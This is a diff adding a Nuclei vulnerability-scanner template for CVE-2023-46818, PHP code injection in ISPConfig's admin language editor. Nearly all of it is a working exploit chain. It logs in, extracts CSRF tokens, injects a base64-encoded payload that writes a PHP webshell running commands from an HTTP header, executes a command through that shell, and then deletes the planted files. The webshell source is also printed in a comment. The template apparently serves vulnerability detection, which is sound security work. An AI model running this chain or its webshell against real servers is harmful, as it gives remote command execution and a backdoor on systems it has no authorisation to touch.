Adding CVE-2023-46818.yaml

http/cves/2023/CVE-2023-46818.yaml

@@ -0,0 +1,146 @@
+id: CVE-2023-46818
+
+info: 
+  name: ISPConfig PHP Code Injection if allow_admin_langedit is enabled 
+  author: non-things
+  severity: high
+  description: |
+    An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if admin_allow_langedit is enabled.
+  reference: 
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-46818
+    - https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/
+    - http://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html
+    - http://seclists.org/fulldisclosure/2023/Dec/2
+
+  classification: 
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 7.2
+    cve-id: CVE-2023-46818
+    cwe-id: CWE-94
+
+  metadata: 
+    verified: true
+    max-requests: 1
+    product: ispconfig
+  tags: ispconfig,rce
+
+variables: 
+   lang-file: sbcoeybcmrpkgkiutdflqzfwvj.lng
+   websh-file: f1f755911b4ce3bde7f811de445aebf1.php
+   # Base64 encoded webshell: <?php print('____'); passthru($_SERVER['HTTP_C']); print('____'); ?> 
+   payload: "%27%5D%3Bfile%5Fput%5Fcontents%28%27{{websh-file}}%27%2Cbase64%5Fdecode%28%27PD9waHAgcHJpbnQoJ19fX18nKTsgcGFzc3RocnUoJF9TRVJWRVJbJ0hUVFBfQyddKTsgcHJpbnQoJ19fX18nKTsgPz4%3D%27%29%29%3Bdie%3B%23i"
+   echo-cmd-hash: fa8b39a9446212dff83ed5d830f044a3
+   echo-cmd: "echo {{echo-cmd-hash}}"
+
+http: 
+
+  - method: POST
+    path:
+      - "{{BaseURL}}/login/"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: username={{username}}&password={{password}}&s_mod=login
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: header
+        words:
+          - "Set-Cookie"
+
+  - method: POST
+    path: 
+      - "{{BaseURL}}/admin/language_edit.php"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: lang=en&module=help&lang_file={{lang-file}}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "_csrf_id"
+          - "_csrf_key_" 
+        condition: and
+
+    extractors:
+      - type: regex
+        name: lang_file_location
+        internal: true
+        group: 1
+        regex: 
+          - "<legend>Language file: (.*)</legend>"
+
+      - type: regex
+        name: csrf_id
+        internal: true
+        group: 1
+        regex: 
+          - "_csrf_id\" value=\"(.*)\" />"
+
+      - type: regex
+        name: csrf_key
+        internal: true
+        group: 1
+        regex:
+          - "_csrf_key\" value=\"(.*)\" />"
+
+  - method: POST
+    path:
+      - "{{BaseURL}}/admin/language_edit.php"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: "lang=en&module=help&lang_file={{lang-file}}&_csrf_id={{csrf_id}}&_csrf_key={{csrf_key}}&records[%5C]={{payload}}"
+
+    matchers:
+      - type: status
+        status:
+          - 200
+
+  - method: GET
+    path: 
+      - "{{BaseURL}}/admin/{{websh-file}}"
+    headers:
+      C: "{{echo-cmd}}"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "{{echo-cmd-hash}}"
+
+  - method: GET
+    path:
+      - "{{BaseURL}}/admin/{{websh-file}}"
+    headers:
+      C: "rm {{lang_file_location}}"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+  - method: GET
+    path:
+      - "{{BaseURL}}/admin/{{websh-file}}"
+    headers:
+      C: "rm {{websh-file}}"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200